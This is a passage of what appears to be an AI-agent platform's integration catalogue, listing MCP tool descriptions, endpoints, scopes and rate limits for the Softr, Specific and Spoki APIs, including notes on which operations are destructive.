/api/v1/softr/users/magic-link/generate/{email}. Scopes: api. softr_post_users_sync (write) — Sync a single user, an array of users, or -- with no emails supplied -- trigger a user sync for ALL users of the app, via POST /v1/api/users/sync. The vendor documents the body as a bare JSON ARRAY of email strings; sending no body at all is what makes it a sync of everyone, so an empty list here is sent as no body rather than as `[]`. This tool acts on the Softr APP named by this connection's Softr app domain setting, which is collected when the connection is made and sent as the `Softr-Domain` header -- it is never a tool argument. A connection made without it refuses every users tool by name rather than letting Softr answer an ambiguous 401. The app must be PUBLISHED. This API has no way to list users, so an email address has to come from somewhere else (the Softr users screen, or your own records). POST /api/v1/softr/users/sync. Scopes: api. softr_put_databases_by_databaseid (write) — Update the details of an existing database. via PUT /databases/{databaseId} PUT /api/v1/softr/databases/{databaseId}. Scopes: api. softr_put_databases_by_databaseid_tables_by_tableid (write) — Update a table's name and/or description. To modify fields, use the field-specific endpoints. via PUT /databases/{databaseId}/tables/{tableId} PUT /api/v1/softr/databases/{databaseId}/tables/{tableId}. Scopes: api. softr_put_databases_by_databaseid_tables_by_tableid_fields_by_fieldid (write) — Update the properties of a specific field. via PUT /databases/{databaseId}/tables/{tableId}/fields/{fieldId} Some field types are computed or system-managed (FORMULA, ROLLUP, LOOKUP, AUTONUMBER, RECORD_ID, CREATED_AT, UPDATED_AT, CREATED_BY, UPDATED_BY) and are read-only; the writable types are SINGLE_LINE_TEXT, LONG_TEXT, CHECKBOX, CURRENCY, DATE, DATETIME, DURATION, EMAIL, SELECT, NUMBER, ATTACHMENT, RATING, LINKED_RECORD, URL, PERCENT, PHONE and USER. Each type takes its own `options` object. PUT /api/v1/softr/databases/{databaseId}/tables/{tableId}/fields/{fieldId}. Scopes: api. ================================================================================ ## Specific URL: https://www.agenticfabriq.com/integrations/specific Section: Integrated Tools Specific — 21 MCP tools Provider key: specific. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. specific_mutation_create_company (write) — Create a company from `data` (CompanyCreateInput: id, name, attributes). `id` IS YOUR OWN IDENTIFIER and is how every other company tool addresses it afterwards, so choose it deliberately and do not reuse one. Custom-field values go in `attributes`, keyed by the names specific_query_custom_fields lists -- note the provider's own written example calls this field `customFields`, which the schema does not have. Creating a company that already exists is a ValidationError; use specific_mutation_create_or_update_company when either outcome is fine. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/createCompany. Scopes: api. specific_mutation_create_conversation (write) — Record a conversation -- a piece of customer feedback -- in the workspace. `data.content` is REQUIRED and is Specific's `Content` scalar: either a plain string or a ProseMirror document object ({type: 'doc', content: [...]}). Everything else is optional: `customFields` (a map of custom-field values), `insertedAt` (a date or full timestamp -- omit and the provider stamps now), `sourceUrl`, and four RELATION arguments that attach or create the related records in the same call -- `company` and `contact` take connect-or-connectOrCreate, `source` takes connect only, and `assignee` takes connectOrIgnore keyed on an account email. THIS IS THE INGEST TOOL: it is the one write that creates the feedback the rest of the product reads. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/createConversation. Scopes: api. specific_mutation_create_or_update_company (write) — Upsert a company: `where` (CompanyAttributeFilter -- by `id`, or by matching `attributes`) selects it, `data` (CompanyUpdateInput) is applied, and it is created when nothing matches. ATTRIBUTES MERGE, they do not replace: the provider's own reference says 'It will merge current values with new ones', so a key you omit keeps its previous value and the way to clear one is specific_mutation_delete_company_attributes. Answers a LIST of companies, because an attribute filter can match more than one. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/createOrUpdateCompany. Scopes: api. specific_mutation_create_or_update_user (write) — Upsert a contact: `where` (ContactIdAndEmailFilter -- `id` or `email`) selects it, `data` (ContactUpdateInput) is applied, and it is created when nothing matches. ATTRIBUTES MERGE rather than replace, so an omitted key keeps its previous value. Answers a LIST of contacts. A `where` naming neither id nor email matches nothing, which is why both are checked before the call. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/createOrUpdateUser. Scopes: api. specific_mutation_create_user (write) — Create a contact from `data` (ContactCreateInput: id, name, email, attributes, company). `id` is your own identifier and is how the other contact tools address it. `company.connect.id` attaches an EXISTING company -- this input has no create arm, so create the company first. Creating a contact that already exists is a ValidationError; use specific_mutation_create_or_update_user when either outcome is fine. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/createUser. Scopes: api. specific_mutation_delete_company (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE: permanently delete the company named by `where.id`. Nothing here restores it, and Specific publishes no sandbox -- this runs against the live workspace. The contacts and conversations attached to it are not named by this call and the reference does not say what becomes of that relation, so read the company's contacts first if that matters. Answers the deleted Company; a null answer means no company with that id, which is surfaced as a 404 rather than as a successful no-op. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/deleteCompany. Scopes: api. specific_mutation_delete_company_attributes (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE: permanently clear the named custom-field values on one company. `where.id` is the company and `data.keys` is a required, non-empty list of custom-field names (the names specific_query_custom_fields lists). This is the ONLY way to clear a custom- field value: the update tools merge, so omitting a key leaves it alone. The custom-field DEFINITION is not deleted, only this company's values. A null answer means no company with that id and is surfaced as a 404. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/deleteCompanyAttributes. Scopes: api. specific_mutation_delete_user (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE: permanently delete the contact named by `where` (`id` or `email`). Nothing here restores it and Specific publishes no sandbox. A `where` naming neither field matches nothing, so both are checked before the call rather than letting an empty filter reach a delete. Answers the deleted User; a null answer means no such contact and is surfaced as a 404. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/deleteUser. Scopes: api. specific_mutation_delete_user_attributes (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE: permanently clear the named custom-field values on one contact. `where` is the contact (`id` or `email`) and `data.keys` is a required, non-empty list of custom-field names. This is the ONLY way to clear a contact's custom-field value -- the update tools merge. The custom-field definition itself is untouched. A null answer means no such contact and is surfaced as a 404. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/deleteUserAttributes. Scopes: api. specific_mutation_subscribe_webhook (write) — Create or update a webhook subscription. `data.url` is the endpoint Specific will POST to, `data.operation` is a required non-empty list of event names -- new-survey-response, new-user, new-contact, new-conversation -- and `data.code` is the shared secret Specific sends so your endpoint can tell a real delivery from anyone else's POST. `data.sources` narrows a 'new- conversation' subscription to particular source ids. THE URL IS THE KEY: subscribing the same url again REPLACES that subscription rather than adding a second one, which is what 'Create or update webhook' means. Answers the Webhook with `inactive`/`inactiveReason` -- a webhook Specific has given up delivering to comes back with those populated, and that is the field to check when deliveries stop. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/subscribeWebhook. Scopes: api. specific_mutation_unsubscribe_webhook (write, destructive) — DESTRUCTIVE: remove the webhook subscription for `where.url`. Event delivery to that endpoint stops immediately and the events that would have been delivered in the meantime are not replayed when it is subscribed again. Re- creating it needs the secret `code` again, which this tool does not return. A null answer means no subscription for that url and is surfaced as a 404 rather than as a successful no-op. (The provider's reference mislabels this field 'Create webhook'; it is the unsubscribe.) Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/unsubscribeWebhook. Scopes: api. specific_mutation_update_company (write) — Update the companies matched by `where` (CompanyAttributeFilter -- by `id`, or by matching `attributes`) with `data`. ATTRIBUTES MERGE rather than replace, so an omitted key keeps its value and clearing one needs specific_mutation_delete_company_attributes. Unlike the upsert, this does NOT create a company when nothing matches: a null answer means nothing matched and is surfaced as a 404. Answers a LIST, because an attribute filter can match more than one -- check what came back rather than assuming one. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/updateCompany. Scopes: api. specific_mutation_update_user (write) — Update the contacts matched by `where` (ContactIdAndEmailFilter -- `id` or `email`) with `data`. ATTRIBUTES MERGE rather than replace; clearing one needs specific_mutation_delete_user_attributes. Unlike the upsert, this does NOT create a contact when nothing matches: a null answer means nothing matched and is surfaced as a 404. Answers a LIST of contacts. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/mutation/updateUser. Scopes: api. specific_query_companies (read) — List the workspace's companies, each with its id, name, usersCount and the internal visitorId. Narrow with `where`, a CompanyFilter whose `id` and `name` are StringFilters (equals/contains/startsWith/in/...). Omit `where` for all of them. THE SCHEMA DECLARES NO PAGINATION on this field -- no first/after/limit argument and no connection wrapper -- so the provider decides how many come back and there is no cursor to follow. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/query/companies. Scopes: api. specific_query_conversations (read) — List conversations with their content, custom fields, source, company, contact and assignee. THE PROVIDER CAPS THIS AT THE LAST 20 -- its own reference states 'List the last 20 conversation.' and the schema offers no first/after/limit argument, so there is no way to page further back through this API. Narrow with `where: {sources: [id, ...]}`, the source ids from the Sources tool. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/query/conversations. Scopes: api. specific_query_custom_fields (read) — List the custom fields defined in the workspace, each with its id, name and type. THE NAMES HERE ARE THE KEYS every `attributes` and `customFields` map on the write tools is addressed by, so call this before inventing one. Filter by `type` -- company, contact or conversation. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. GET /api/v1/specific/query/customFields. Scopes: api. specific_query_my_workspace (read) — The workspace the connected personal API key belongs to: its id and name. Takes no arguments. This is the cheapest call that proves the credential works -- it is the one field measured to answer 401 without a key, where the bare introspection query does not. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. GET /api/v1/specific/query/myWorkspace. Scopes: api. specific_query_sources (read) — List the workspace's sources -- the channels conversations are gathered from -- with their id and name. The ids are what the conversation filter and `createConversation`'s `source.connect` take. Takes no arguments. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. GET /api/v1/specific/query/sources. Scopes: api. specific_query_survey (read) — One survey by id, with its context and tone and EVERY response conversation: each conversation's id, createdAt, finishedAt and isCompleted, plus the full chat transcript (question id, question text and the respondent's answer, in order). This is the tool that reads survey results. The schema types the answer nullable, so a survey id that does not exist answers 404 here rather than an empty success. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. GET /api/v1/specific/query/survey. Scopes: api. specific_query_surveys (read) — Every survey in the workspace, each with its context, tone and full response transcripts. Takes no arguments and THE SCHEMA OFFERS NO PAGINATION, so this returns all of them with all of their conversations -- on a busy workspace that is a large answer, and specific_query_survey is the narrower read once you have an id. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. GET /api/v1/specific/query/surveys. Scopes: api. specific_query_users (read) — List the workspace's contacts (the schema calls the type `User`; the product calls them contacts), each with id, name, email, the internal visitorId and the company they belong to. Narrow with `where`, a ContactFilter whose `id` and `email` are StringFilters and whose `attributes` matches custom-field values. THE SCHEMA DECLARES NO PAGINATION on this field. Reads only; changes nothing. Specific publishes no rate limit for this API; nothing here retries. POST /api/v1/specific/query/users. Scopes: api. ================================================================================ ## Spoki URL: https://www.agenticfabriq.com/integrations/spoki Section: Integrated Tools Spoki — 109 MCP tools Provider key: spoki. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. spoki_delete_api_1_campaigns_by_id (write, destructive) — Delete campaign via DELETE /api/1/campaigns/{id}/ -- rate limit 5/min DELETE /api/v1/spoki/api/1/campaigns/{id}. Scopes: api. spoki_delete_api_1_contacts_by_id (write, destructive) — Delete contact via DELETE /api/1/contacts/{id}/ -- rate limit 120/min DELETE /api/v1/spoki/api/1/contacts/{id}. Scopes: api. spoki_delete_api_1_custom_fields_by_id (write, destructive) — Delete custom field via DELETE /api/1/custom-fields/{id}/ -- rate limit 5/min DELETE /api/v1/spoki/api/1/custom-fields/{id}. Scopes: api. spoki_delete_api_1_external_webhooks_by_id (write, destructive) — Delete webhook via DELETE /api/1/external-webhooks/{id}/ -- rate limit 30/min DELETE /api/v1/spoki/api/1/external-webhooks/{id}. Scopes: api. spoki_delete_api_1_invitations_by_id (write, destructive) — Delete invitation via DELETE /api/1/invitations/{id}/ -- rate limit 10/min DELETE /api/v1/spoki/api/1/invitations/{id}. Scopes: api. spoki_delete_api_1_lists_by_id (write, destructive) — Delete list via DELETE /api/1/lists/{id}/ -- rate limit 5/min DELETE /api/v1/spoki/api/1/lists/{id}. Scopes: api. spoki_delete_api_1_media_by_id (write, destructive) — Delete media via DELETE /api/1/media/{id}/ -- rate limit 60/min DELETE /api/v1/spoki/api/1/media/{id}. Scopes: api. spoki_delete_api_1_partner_invitations_by_id (write, destructive) — Delete invitation via DELETE /api/1/partner-invitations/{id}/ -- rate limit 10/min DELETE /api/v1/spoki/api/1/partner-invitations/{id}. Scopes: api. spoki_delete_api_1_partner_roles_by_id (write, destructive) — Delete role via DELETE /api/1/partner-roles/{id}/ -- rate limit 5/min DELETE /api/v1/spoki/api/1/partner-roles/{id}. Scopes: api. spoki_delete_api_1_roles_by_id (write, destructive) — Delete role via DELETE /api/1/roles/{id}/ -- rate limit 5/min DELETE /api/v1/spoki/api/1/roles/{id}. Scopes: api. spoki_delete_api_1_templates_by_id (write, destructive) — Delete template via DELETE /api/1/templates/{id}/ -- rate limit 10/min DELETE /api/v1/spoki/api/1/templates/{id}. Scopes: api. spoki_delete_api_1_tickets_by_id (write, destructive) — Delete ticket via DELETE /api/1/tickets/{id}/ -- rate limit 60/min DELETE /api/v1/spoki/api/1/tickets/{id}. Scopes: api. spoki_get_api_1_accounts (read) — List, search, and filter accounts via GET /api/1/accounts/ -- rate limit 5/min GET /api/v1/spoki/api/1/accounts. Scopes: api. spoki_get_api_1_accounts_by_id (read) — Retrieve account via GET /api/1/accounts/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/accounts/{id}. Scopes: api. spoki_get_api_1_accounts_by_id_current_report (read) — Current report via GET /api/1/accounts/{id}/current_report/ -- rate limit 5/min GET /api/v1/spoki/api/1/accounts/{id}/current_report. Scopes: api. spoki_get_api_1_accounts_phone_by_phone (read) — Retrieve account by phone via GET /api/1/accounts/phone/{phone}/ -- rate limit 5/min GET /api/v1/spoki/api/1/accounts/phone/{phone}. Scopes: api. spoki_get_api_1_agencies (read) — List agencies via GET /api/1/agencies/ -- rate limit 5/min GET /api/v1/spoki/api/1/agencies. Scopes: api. spoki_get_api_1_agencies_by_id (read) — Retrieve agency via GET /api/1/agencies/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/agencies/{id}. Scopes: api. spoki_get_api_1_automations (read) — List, search, and filter automations via GET /api/1/automations/ -- rate limit 60/min GET /api/v1/spoki/api/1/automations. Scopes: api. spoki_get_api_1_automations_by_id (read) — Retrieve automation via GET /api/1/automations/{id}/ -- rate limit 60/min GET /api/v1/spoki/api/1/automations/{id}. Scopes: api. spoki_get_api_1_automations_by_id_custom_fields_used (read) — Custom fields used via GET /api/1/automations/{id}/custom-fields-used/ -- rate limit 60/min GET /api/v1/spoki/api/1/automations/{id}/custom-fields-used. Scopes: api. spoki_get_api_1_campaigns (read) — List, search, and filter campaigns via GET /api/1/campaigns/ -- rate limit 5/min GET /api/v1/spoki/api/1/campaigns. Scopes: api. spoki_get_api_1_campaigns_by_id (read) — Retrieve campaign via GET /api/1/campaigns/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/campaigns/{id}. Scopes: api. spoki_get_api_1_channel (read) — List channels via GET /api/1/channel/ GET /api/v1/spoki/api/1/channel. Scopes: api. spoki_get_api_1_channel_by_id_channel (read) — Retrieve channel via GET /api/1/channel/{id_channel}/ GET /api/v1/spoki/api/1/channel/{id_channel}. Scopes: api. spoki_get_api_1_channel_phone_by_identifier (read) — Lookup channel by phone via GET /api/1/channel/phone/{identifier}/ GET /api/v1/spoki/api/1/channel/phone/{identifier}. Scopes: api. spoki_get_api_1_contacts (read) — List, search, and filter contacts via GET /api/1/contacts/ -- rate limit 120/min GET /api/v1/spoki/api/1/contacts. Scopes: api. spoki_get_api_1_contacts_by_id (read) — Retrieve contact via GET /api/1/contacts/{id}/ -- rate limit 120/min GET /api/v1/spoki/api/1/contacts/{id}. Scopes: api. spoki_get_api_1_custom_fields (read) — List, search, and filter custom fields via GET /api/1/custom-fields/ -- rate limit 5/min GET /api/v1/spoki/api/1/custom-fields. Scopes: api. spoki_get_api_1_custom_fields_by_id (read) — Retrieve custom field via GET /api/1/custom-fields/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/custom-fields/{id}. Scopes: api. spoki_get_api_1_external_webhooks (read) — List, search, and filter webhooks via GET /api/1/external-webhooks/ -- rate limit 30/min GET /api/v1/spoki/api/1/external-webhooks. Scopes: api. spoki_get_api_1_external_webhooks_by_id (read) — Retrieve webhook via GET /api/1/external-webhooks/{id}/ -- rate limit 30/min GET /api/v1/spoki/api/1/external-webhooks/{id}. Scopes: api. spoki_get_api_1_external_webhooks_by_id_expands (read) — Get expands via GET /api/1/external-webhooks/{id}/expands/ -- rate limit 30/min GET /api/v1/spoki/api/1/external-webhooks/{id}/expands. Scopes: api. spoki_get_api_1_invitations (read) — List, search, and filter invitations via GET /api/1/invitations/ -- rate limit 5/min GET /api/v1/spoki/api/1/invitations. Scopes: api. spoki_get_api_1_invitations_by_id (read) — Retrieve invitation via GET /api/1/invitations/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/invitations/{id}. Scopes: api. spoki_get_api_1_lists (read) — List, search, and filter lists via GET /api/1/lists/ -- rate limit 5/min GET /api/v1/spoki/api/1/lists. Scopes: api. spoki_get_api_1_lists_by_id (read) — Retrieve list via GET /api/1/lists/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/lists/{id}. Scopes: api. spoki_get_api_1_media (read) — List, search, and filter media via GET /api/1/media/ -- rate limit 10/min GET /api/v1/spoki/api/1/media. Scopes: api. spoki_get_api_1_media_by_id (read) — Retrieve media via GET /api/1/media/{id}/ -- rate limit 10/min GET /api/v1/spoki/api/1/media/{id}. Scopes: api. spoki_get_api_1_partner_invitations (read) — List, search, and filter invitations via GET /api/1/partner-invitations/ -- rate limit 5/min GET /api/v1/spoki/api/1/partner-invitations. Scopes: api. spoki_get_api_1_partner_invitations_by_id (read) — Retrieve invitation via GET /api/1/partner-invitations/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/partner-invitations/{id}. Scopes: api. spoki_get_api_1_partner_roles (read) — List, search, and filter roles via GET /api/1/partner-roles/ -- rate limit 5/min GET /api/v1/spoki/api/1/partner-roles. Scopes: api. spoki_get_api_1_partner_roles_by_id (read) — Retrieve role via GET /api/1/partner-roles/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/partner-roles/{id}. Scopes: api. spoki_get_api_1_partner_roles_by_id_has_private_key (read) — Has Private Key via GET /api/1/partner-roles/{id}/has_private_key/ -- rate limit 10/min GET /api/v1/spoki/api/1/partner-roles/{id}/has_private_key. Scopes: api. spoki_get_api_1_partners (read) — List, search and filter partners via GET /api/1/partners/ GET /api/v1/spoki/api/1/partners. Scopes: api. spoki_get_api_1_partners_accounts (read) — Get associated accounts via GET /api/1/partners/accounts/ GET /api/v1/spoki/api/1/partners/accounts. Scopes: api. spoki_get_api_1_partners_get_account_forecasts (read) — Get account forecasts via GET /api/1/partners/get_account_forecasts/ GET /api/v1/spoki/api/1/partners/get_account_forecasts. Scopes: api. spoki_get_api_1_partners_get_account_report (read) — Get account report via GET /api/1/partners/get_account_report/ GET /api/v1/spoki/api/1/partners/get_account_report. Scopes: api. spoki_get_api_1_reports (read) — List, search, and filter reports via GET /api/1/reports/ -- rate limit 5/min -- DEPRECATED by Spoki: scheduled for removal on 2026-06-10 in favour of the richer GET /api/1/reports/detailed/ -- prefer that tool GET /api/v1/spoki/api/1/reports. Scopes: api. spoki_get_api_1_reports_detailed (read) — List, search, and filter reports V2 via GET /api/1/reports/detailed/ GET /api/v1/spoki/api/1/reports/detailed. Scopes: api. spoki_get_api_1_roles (read) — List, search, and filter roles via GET /api/1/roles/ -- rate limit 5/min GET /api/v1/spoki/api/1/roles. Scopes: api. spoki_get_api_1_roles_by_id (read) — Retrieve role via GET /api/1/roles/{id}/ -- rate limit 5/min GET /api/v1/spoki/api/1/roles/{id}. Scopes: api. spoki_get_api_1_roles_by_id_has_private_key (read) — Has Private Key via GET /api/1/roles/{id}/has_private_key/ -- rate limit 10/min GET /api/v1/spoki/api/1/roles/{id}/has_private_key. Scopes: api. spoki_get_api_1_tags (read) — List, search, and filter tags via GET /api/1/tags/ -- rate limit 10/min GET /api/v1/spoki/api/1/tags. Scopes: api. spoki_get_api_1_tags_by_id (read) — Retrieve tag via GET /api/1/tags/{id}/ -- rate limit 10/min GET /api/v1/spoki/api/1/tags/{id}. Scopes: api. spoki_get_api_1_templates (read) — List, search, and filter templates via GET /api/1/templates/ GET /api/v1/spoki/api/1/templates. Scopes: api. spoki_get_api_1_templates_by_id (read) — Retrieve template via GET /api/1/templates/{id}/ GET /api/v1/spoki/api/1/templates/{id}. Scopes: api. spoki_get_api_1_templates_by_id_clone (read) — Clone template via GET /api/1/templates/{id}/clone/ -- rate limit 10/min GET /api/v1/spoki/api/1/templates/{id}/clone. Scopes: api. spoki_get_api_1_tickets (read) — List, search, and filter tickets via GET /api/1/tickets/ -- rate limit 10/min GET /api/v1/spoki/api/1/tickets. Scopes: api. spoki_get_api_1_tickets_by_id (read) — Retrieve ticket via GET /api/1/tickets/{id}/ -- rate limit 10/min GET /api/v1/spoki/api/1/tickets/{id}. Scopes: api. spoki_patch_api_1_campaigns_by_id (write) — Update campaign via PATCH /api/1/campaigns/{id}/ -- rate limit 5/min PATCH /api/v1/spoki/api/1/campaigns/{id}. Scopes: api. spoki_patch_api_1_channel_by_id_channel (write) — Rename channel via PATCH /api/1/channel/{id_channel}/ PATCH /api/v1/spoki/api/1/channel/{id_channel}. Scopes: api. spoki_patch_api_1_contacts_by_id (write) — Update a contact via PATCH /api/1/contacts/{id}/ -- rate limit 120/min -- accepts phone, first_name, last_name, email, language and custom_fields, or an is_blocked flag (true blocks the contact, false unblocks it) PATCH /api/v1/spoki/api/1/contacts/{id}. Scopes: api. spoki_patch_api_1_custom_fields_by_id (write) — Update custom field via PATCH /api/1/custom-fields/{id}/ -- rate limit 5/min PATCH /api/v1/spoki/api/1/custom-fields/{id}. Scopes: api. spoki_patch_api_1_external_webhooks_by_id (write) — Update webhook via PATCH /api/1/external-webhooks/{id}/ -- rate limit 30/min PATCH /api/v1/spoki/api/1/external-webhooks/{id}. Scopes: api. spoki_patch_api_1_media_by_id (write) — Update media via PATCH /api/1/media/{id}/ -- rate limit 120/min PATCH /api/v1/spoki/api/1/media/{id}. Scopes: api. spoki_patch_api_1_templates_by_id (write) — Update template via PATCH /api/1/templates/{id}/ -- rate limit 10/min PATCH /api/v1/spoki/api/1/templates/{id}. Scopes: api. spoki_patch_api_1_tickets_by_id (write) — Update ticket via PATCH /api/1/tickets/{id}/ -- rate limit 120/min PATCH /api/v1/spoki/api/1/tickets/{id}. Scopes: api. spoki_post_api_1_automations (write) — Create Automation via POST /api/1/automations/ -- rate limit 60/min POST /api/v1/spoki/api/1/automations. Scopes: api. spoki_post_api_1_campaigns (write) — Create campaign via POST /api/1/campaigns/ -- rate limit 5/min POST /api/v1/spoki/api/1/campaigns. Scopes: api. spoki_post_api_1_channel (write) — Create channel via POST /api/1/channel/ POST /api/v1/spoki/api/1/channel. Scopes: api. spoki_post_api_1_channel_by_id_channel_refresh_wa_status (write) — Refresh WhatsApp phone status via POST /api/1/channel/{id_channel}/refresh-wa-status/ POST /api/v1/spoki/api/1/channel/{id_channel}/refresh-wa-status. Scopes: api. spoki_post_api_1_channel_by_id_channel_set_primary (write) — Set primary channel via POST /api/1/channel/{id_channel}/set-primary/ POST /api/v1/spoki/api/1/channel/{id_channel}/set-primary. Scopes: api. spoki_post_api_1_contacts_by_id_add_operator (write) — Add Operator via POST /api/1/contacts/{id}/add_operator/ -- rate limit 5/min POST /api/v1/spoki/api/1/contacts/{id}/add_operator. Scopes: api. spoki_post_api_1_contacts_by_id_remove_operator (write) — Remove Operator via POST /api/1/contacts/{id}/remove_operator/ -- rate limit 5/min POST /api/v1/spoki/api/1/contacts/{id}/remove_operator. Scopes: api. spoki_post_api_1_contacts_sync (write) — Create or update contact via POST /api/1/contacts/sync/ -- rate limit 120/min POST /api/v1/spoki/api/1/contacts/sync. Scopes: api. spoki_post_api_1_contacts_sync_all (write) — Sync contacts via POST /api/1/contacts/sync_all/ -- rate limit 1/min POST /api/v1/spoki/api/1/contacts/sync_all. Scopes: api. spoki_post_api_1_custom_fields (write) — Create custom field via POST /api/1/custom-fields/ -- rate limit 5/min POST /api/v1/spoki/api/1/custom-fields. Scopes: api. spoki_post_api_1_external_webhooks (write) — Create webhook via POST /api/1/external-webhooks/ POST /api/v1/spoki/api/1/external-webhooks. Scopes: api. spoki_post_api_1_external_webhooks_by_id_expands (write) — Set expands via POST /api/1/external-webhooks/{id}/expands/ -- rate limit 30/min POST /api/v1/spoki/api/1/external-webhooks/{id}/expands. Scopes: api. spoki_post_api_1_external_webhooks_by_id_rotate_secret (write) — Rotate secret via POST /api/1/external-webhooks/{id}/rotate_secret/ -- rate limit 30/min POST /api/v1/spoki/api/1/external-webhooks/{id}/rotate_secret. Scopes: api. spoki_post_api_1_external_webhooks_by_id_test (write) — Send test webhook via POST /api/1/external-webhooks/{id}/test/ -- rate limit 30/min POST /api/v1/spoki/api/1/external-webhooks/{id}/test. Scopes: api. spoki_post_api_1_invitations (write) — Invite new user by email via POST /api/1/invitations/ -- rate limit 10/min POST /api/v1/spoki/api/1/invitations. Scopes: api. spoki_post_api_1_invitations_by_id_send (write) — Resend invitation email via POST /api/1/invitations/{id}/send/ -- rate limit 5/min POST /api/v1/spoki/api/1/invitations/{id}/send. Scopes: api. spoki_post_api_1_invitations_by_id_update_role (write) — Update role via POST /api/1/invitations/{id}/update_role/ -- rate limit 5/min POST /api/v1/spoki/api/1/invitations/{id}/update_role. Scopes: api. spoki_post_api_1_lists (write) — Create list via POST /api/1/lists/ -- rate limit 10/min POST /api/v1/spoki/api/1/lists. Scopes: api. spoki_post_api_1_lists_by_id_remove_all_contacts (write) — Remove all contacts via POST /api/1/lists/{id}/remove_all_contacts/ POST /api/v1/spoki/api/1/lists/{id}/remove_all_contacts. Scopes: api. spoki_post_api_1_lists_by_id_remove_contacts (write) — Remove contacts via POST /api/1/lists/{id}/remove_contacts/ POST /api/v1/spoki/api/1/lists/{id}/remove_contacts. Scopes: api. spoki_post_api_1_lists_by_id_sync_contacts (write) — Create or update contacts, then add to the list via POST /api/1/lists/{id}/sync_contacts/ -- rate limit 1/min POST /api/v1/spoki/api/1/lists/{id}/sync_contacts. Scopes: api. spoki_post_api_1_media (write) — Create media via POST /api/1/media/ -- rate limit 120/min POST /api/v1/spoki/api/1/media. Scopes: api. spoki_post_api_1_messages_send (write) — Send a WhatsApp message via POST /api/1/messages/send/ -- rate limit 60/min -- set type=Template with a template id for a pre-approved template (optionally with buttons, a dynamic header_media, or a header_media_set carousel), or type=Message with content_type Text, Interactive (buttons) or List for a free-form message inside an open conversation; an optional channel_id routes through a specific channel, and omitting it resolves the account's primary compatible channel POST /api/v1/spoki/api/1/messages/send. Scopes: api. spoki_post_api_1_partner_invitations (write) — Invite new user by email via POST /api/1/partner-invitations/ -- rate limit 10/min POST /api/v1/spoki/api/1/partner-invitations. Scopes: api. spoki_post_api_1_partner_invitations_by_id_send (write) — Resend invitation email via POST /api/1/partner-invitations/{id}/send/ -- rate limit 5/min POST /api/v1/spoki/api/1/partner-invitations/{id}/send. Scopes: api. spoki_post_api_1_partner_invitations_by_id_update_role (write) — Update role via POST /api/1/partner-invitations/{id}/update_role/ -- rate limit 5/min POST /api/v1/spoki/api/1/partner-invitations/{id}/update_role. Scopes: api. spoki_post_api_1_partner_roles_by_id_update_role (write) — Update Role via POST /api/1/partner-roles/{id}/update_role/ -- rate limit 10/min POST /api/v1/spoki/api/1/partner-roles/{id}/update_role. Scopes: api. spoki_post_api_1_partners_add_sv_clients (write) — Add Software Vendor Clients via POST /api/1/partners/add_sv_clients/ POST /api/v1/spoki/api/1/partners/add_sv_clients. Scopes: api. spoki_post_api_1_partners_create_conversations_subrecharge (write) — Create Conversations Subrecharge - Software Vendor Only - DEPRECATED via POST /api/1/partners/create_conversations_subrecharge/ -- DEPRECATED by Spoki and software-vendor only POST /api/v1/spoki/api/1/partners/create_conversations_subrecharge. Scopes: api. spoki_post_api_1_partners_create_subrecharge (write) — Create Meta Credit Subrecharge via POST /api/1/partners/create_subrecharge/ POST /api/v1/spoki/api/1/partners/create_subrecharge. Scopes: api. spoki_post_api_1_partners_move_credit_from_account (write) — Move Credit From Account - Software Vendor Only via POST /api/1/partners/move_credit_from_account/ POST /api/v1/spoki/api/1/partners/move_credit_from_account. Scopes: api. spoki_post_api_1_partners_onboarding (write) — Create Onboarding Link via POST /api/1/partners/onboarding/ POST /api/v1/spoki/api/1/partners/onboarding. Scopes: api. spoki_post_api_1_partners_set_profits 